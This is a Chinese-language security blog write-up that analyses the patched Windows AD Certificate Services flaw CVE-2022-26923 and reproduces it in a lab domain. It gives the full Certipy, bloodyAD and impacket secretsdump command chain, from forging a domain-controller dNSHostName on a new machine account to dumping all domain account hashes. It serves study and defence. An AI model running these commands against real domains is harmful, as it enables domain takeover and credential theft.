Windows域提權漏洞CVE-2022-26923分析與復現

語言: CN / TW / HK

漏洞概述

當Windows系統的Active Directory證書服務(CS)在域上執行時,由於機器賬號中的dNSHostName屬性不具有唯一性,域中普通使用者可以將其更改為高許可權的域控機器賬號屬性,然後從Active Directory證書服務中獲取域控機器賬戶的證書,導致域中普通使用者許可權提升為域管理員許可權。這一漏洞最早由安全研究員Oliver Lyak發現並公開分析過程和POC,微軟在2022年5月的安全更新中對其進行了修補。

影響範圍

影響範圍較廣,包括Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本號可以參考微軟官方的公告(參考連結)。

復現環境

作業系統:

Win10、Win Server 2016、Kali-linux-2022.1。

分析工具:

ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。

分析過程

關於這個漏洞的分析和復現文章網上已經很多了,但是筆者在分析和復現這個漏洞時遇到的一些“坑”大多並未提及。所以,今天主要分享遇到的問題和解決方法。

首先設定Win Server 2016的IP地址為固定IP,然後設定其DNS伺服器地址。測試時域控伺服器的計算機名為dc,IP為192.168.220.160,閘道器為192.168.220.1

接下來是安裝域控環境。在Win Server 2016安裝域控環境比較簡單,安裝時,使用超級管理員Administrator登入,然後在服務管理器的儀表盤介面選擇新增角色和功能,在彈出的嚮導中按照預設選項,直接“下一步”即可,注意在伺服器角色介面中勾選“Active Directory域服務”即可,如下圖所示:

域服務安裝完成後,選擇“將此伺服器提升為域控制器”,如下圖所示:

然後選擇“新增新林”指定根域名,筆者測試時設定的是:fenghuotai.local,如下圖所示:

其他的選項按照預設設定就可以了,另外,安裝過程中會自動安裝DNS伺服器,安裝成功後需要重啟計算機。

最後是安裝域證書服務。還是在服務管理器的儀表盤介面選擇新增角色和功能,在彈出的嚮導中按照預設選項,直接“下一步”即可,注意在伺服器角色介面中勾選“Active Directory證書服務”即可,如下圖所示:

然後在選擇角色服務的步驟中,需要額外再選擇“證書頒發機構Web註冊”,如下圖所示:

域證書服務安裝成功後,需要再配置域證書服務,如下圖所示:

在配置域證書服務中,需要選擇“證書頒發機構”和“證書頒發機構Web註冊”,如下圖所示:

最後再選擇“企業證書”(如果不是域成員,無法選擇該選項,但預設賬號Administrator可以),如下圖所示:

其他選項按照預設設定即可。

域控服務和域證書服務安裝成功後,在服務管理器的儀表盤的工具選單中選擇“Active Directory管理中心”,然後在Users分組下新建一個使用者賬號,輸入密碼和選擇“密碼永不過期”,模擬加入域環境的普通使用者賬號。分析時使用的普通使用者賬號是testcve,如下圖所示:

域普通使用者賬號建立好後,再選擇另外一臺計算機,測試時使用的是64位的 Win10系統,計算機名為testmachine,加入剛建立的域fenghuotai.local,然後使用剛建立的域普通使用者賬號testcve登入(加入域的方法請自行搜尋,此步驟無特殊設定)。到此,測試環境就搭建好了。

以域普通使用者賬號testcve登入Win10計算機後,使用ADExplorer工具分析該提權漏洞產生的原因。

ADExplorer工具需要先登入,分析時使用普通域使用者賬號testcve登入fenghuotai.local域,如下圖所示:

登入成功後,展開左邊的樹形控制元件“DC=fenghuotai,DC=local”,然後再展開“CN=Computers”和“CN=Users”,可以分別看到剛才新加入域的名為CN=TESTMACHINE的win10計算機機器賬號和普通域使用者賬號CN=testcve,這兩個賬號均包含了很多屬性值,如下圖所示:

每個屬性的具體含義可以參考微軟官方的幫助文件,此次分析只關注該漏洞相關的屬性。預設情況下,域使用者賬號可以申請User證書,域計算機機器賬號可以申請Machine證書,兩個證書都允許客戶端身份驗證。

展開Computers分組,選中剛才加入域的計算機CN=TESTMACHINE,其中一項屬性dNSHostName的內容為testmachine.fenghuotai.local,testmachine就是新加入域的Win10計算機的計算機名,這個屬性是向域證書服務申請機器賬號證書時用於標識指定計算機機器賬號的,也就是說dNSHostName的內容和機器證書是繫結的,不同機器賬號的dNSHostName內容,就會得到不同的證書。另外屬性sAMAccountName的內容為TESTMACHINE$,這個屬性作為計算機機器賬號名,如下圖所示:

那麼可以將dNSHostName的內容改為域控伺服器的內容嗎?如果可以的話,豈不是就偽造成域控伺服器的機器賬號了嗎?嘗試將其內容改為dc.fenghuotai.local,卻會得到一個錯誤,更改失敗,如下圖所示:

為什麼會出現這個錯誤?因為dNSHostName屬性和另外一個servicePrincipalName屬性是相關聯的,更改dNSHostName屬性後,域控伺服器將自動更新servicePrincipalName屬性的值。這樣就導致和原域控伺服器機器賬號的servicePrincipalName屬性衝突了。TESTMACHINE$機器賬號屬性servicePrincipalName中的內容,如下圖所示:

但是如果刪除了其servicePrincipalName屬性中的兩項內容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的內容為dc.fenghuotai.local,不會導致衝突,更改將會成功。

屬性servicePrincipalName中刪除了兩項後的內容,如下圖所示:

但是如果刪除了其servicePrincipalName屬性中的兩項內容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的內容為dc.fenghuotai.local,不會導致衝突,更改將會成功。

屬性servicePrincipalName中刪除了兩項後的內容,如下圖所示:

dNSHostName屬性的內容成功更改為域控伺服器的內容dc.fenghuotai.local,如下圖所示:

到此,普通機器賬號TESTMACHINE$成功偽造成了域控機器賬號dc$,然後從Active Directory證書服務中申請到域控機器賬戶的證書,導致域中普通使用者許可權提升為域管理員許可權。

利用場景

根據該漏洞的分析結果,想要成功利用該漏洞,需要滿足如下幾個條件:

1、域控伺服器系統版本

Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本號可以參考微軟官方的公告(參考連結)。

2、域內普通使用者賬號許可權

需要獲取域內至少一個普通使用者賬號許可權,並且需要該賬戶對dNSHostName等屬性具有相應的許可權。預設情況,普通使用者賬號具有該許可權。

3、企業證書服務

域內部署有企業證書服務,並允許被控制的計算機賬戶申請計算機身份驗證證書。

復現過程

環境搭建過程不再贅述,參照分析過程即可,攻擊機選擇Kali-linux-2022.1,需要安裝額外的工具Certipy、bloodyAD、impacket、PKINITtools,工具安裝下載連結在參考連結中,按照官方安裝說明安裝即可。

首先需要獲取域控伺服器,域證書伺服器的一些基本資訊。在受控的主機上執行powershell命令Get-ChildItem Cert:\LocalMachine\Root\,得到域證書伺服器地址fenghuotai-DC-CA,域控伺服器地址fenghuotai.local,域控計算機名為dc,如下圖所示:

設定攻擊機的DNS伺服器地址為域控DNS伺服器地址,或者在本地hosts檔案中設定域控和與證書伺服器域名的ip,不然會導致無法解析域名等錯誤。設定kali的hosts檔案內容,如下圖所示:

復現環境準備好後,先使用掌握的域內普通使用者賬號申請證書,並驗證登入,測試復現環境是否異常。申請證書命令certipy req 'fenghuotai.local/testcve:[email protected]' -ca fenghuotai-DC-CA -template User

可能會遇到NETBIOS超時現象,重新執行一次申請證書命令即可。

申請使用者賬號證書成功後,執行命令certipy auth -pfx testcve.pfx驗證該證書,獲取其NT hash,如下圖所示:

成功獲取到了NT hash,說明測試環境沒問題。如果遇到錯誤(特別是還原域控虛擬機器後),說明域控有些服務沒正確啟動。需要重啟域控伺服器,待儀表板上的服務項啟動後,或者手動啟動後,再重啟Kerberos Key Distribution Center(kdc)服務。不知道實戰中是否會遇到該錯誤,如果遇到了,後面的利用就無法進行了。

使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234*',新建一臺名為pwnmachine,密碼為CVEPassword1234*的機器賬號,如下圖所示:

然後使用命令python bloodyAD.py -d  fenghuotai.local -u testcve -p '1qaz3edc.'  --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dc.fenghuotai.local"]',設定其dNSHostName 屬性為域控伺服器屬性,如下圖所示:

設定成功後使用命令certipy req 'fenghuotai.local/pwnmachine$:CVEPassword1234*@192.168.220.160' -template Machine -dc-ip 192.168.220.160 -ca fenghuotai-DC-CA,申請新建的機器賬號pwnmachine$的證書,其實申請到的是域控dc$的證書,如下圖所示:

獲取到域控的機器賬號證書後,使用命令certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160進行登入驗證,獲取其NT hash,如下圖所示:

然後使用impacket工具examples目錄下的secretsdump.py指令碼,命令為python3 secretsdump.py 'fenghuotai.local/[email protected]' -hashes :d396bce5a7bf19ed7bfa58b8f923357a,獲取域內所有賬號hash,如下圖所示:

當然,還可以使用PKINITtools工具,獲取域控最高許可權shell,這部分就交給讀者自己完成。

補丁連結

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

參考連結